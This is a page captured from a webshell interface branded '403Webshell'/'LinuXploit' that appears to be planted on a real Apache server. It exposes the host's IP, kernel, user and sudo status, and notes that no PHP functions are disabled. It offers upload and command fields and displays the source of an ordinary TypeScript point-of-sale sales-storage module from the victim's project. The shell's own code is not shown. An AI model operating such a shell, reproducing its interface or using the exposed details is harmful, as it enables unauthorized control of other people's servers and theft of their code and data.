403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wcfs/NAOPOS/src/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wcfs/NAOPOS/src/lib/salesStore.ts
import { SaleRecord } from "@/types/sales";
import { formatBusinessDate } from "@/lib/reporting";

const STORAGE_KEY = "pos-sales";
const API_BASE = (import.meta.env.VITE_POS_API_BASE_URL || "/api").replace(
  /\/$/,
  "",
);

interface SerializableSaleRecord extends Omit<SaleRecord, "timestamp"> {
  timestamp: string;
}

function serializeSales(sales: SaleRecord[]): string {
  const payload: SerializableSaleRecord[] = sales.map((sale) => ({
    ...sale,
    timestamp: sale.timestamp.toISOString(),
  }));

  return JSON.stringify(payload);
}

function deserializeSales(raw: string | null): SaleRecord[] {
  if (!raw) return [];

  try {
    const parsed = JSON.parse(raw) as SerializableSaleRecord[];
    return parsed.map((sale) => ({
      ...sale,
      timestamp: new Date(sale.timestamp),
    }));
  } catch (error) {
    console.error("Failed to parse stored sales", error);
    return [];
  }
}

function supportsBrowserStorage(): boolean {
  return (
    typeof window !== "undefined" &&
    typeof window.localStorage !== "undefined"
  );
}

export function loadStoredSales(
  businessDate = formatBusinessDate(new Date()),
): SaleRecord[] {
  if (!supportsBrowserStorage()) return [];

  const sales = deserializeSales(window.localStorage.getItem(STORAGE_KEY));
  return sales.filter((sale) => sale.businessDate === businessDate);
}

export function saveStoredSales(sales: SaleRecord[]): void {
  if (!supportsBrowserStorage()) return;

  const allSales = deserializeSales(window.localStorage.getItem(STORAGE_KEY));
  const businessDates = new Set(sales.map((sale) => sale.businessDate));
  const remainingSales = allSales.filter(
    (sale) => !businessDates.has(sale.businessDate),
  );

  window.localStorage.setItem(
    STORAGE_KEY,
    serializeSales([...remainingSales, ...sales]),
  );
}

export function clearStoredSales(businessDate: string): void {
  if (!supportsBrowserStorage()) return;

  const allSales = deserializeSales(window.localStorage.getItem(STORAGE_KEY));
  const remainingSales = allSales.filter(
    (sale) => sale.businessDate !== businessDate,
  );
  window.localStorage.setItem(STORAGE_KEY, serializeSales(remainingSales));
}

export async function loadSalesFromServer(
  businessDate: string,
): Promise<SaleRecord[] | null> {
  try {
    const response = await fetch(
      `${API_BASE}/sales.php?date=${encodeURIComponent(businessDate)}`,
    );

    if (!response.ok) {
      return null;
    }

    const data = (await response.json()) as { sales?: SerializableSaleRecord[] };
    if (!data.sales) return [];

    return data.sales.map((sale) => ({
      ...sale,
      timestamp: new Date(sale.timestamp),
    }));
  } catch (error) {
    console.error("Failed to load sales from server", error);
    return null;
  }
}

export async function saveSaleToServer(sale: SaleRecord): Promise<boolean> {
  try {
    const response = await fetch(`${API_BASE}/sales.php`, {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify({
        ...sale,
        timestamp: sale.timestamp.toISOString(),
      }),
    });

    return response.ok;
  } catch (error) {
    console.error("Failed to save sale to server", error);
    return false;
  }
}

export async function clearSalesOnServer(
  businessDate: string,
): Promise<boolean> {
  try {
    const response = await fetch(`${API_BASE}/reset_day.php`, {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify({ businessDate }),
    });

    return response.ok;
  } catch (error) {
    console.error("Failed to clear sales on server", error);
    return false;
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit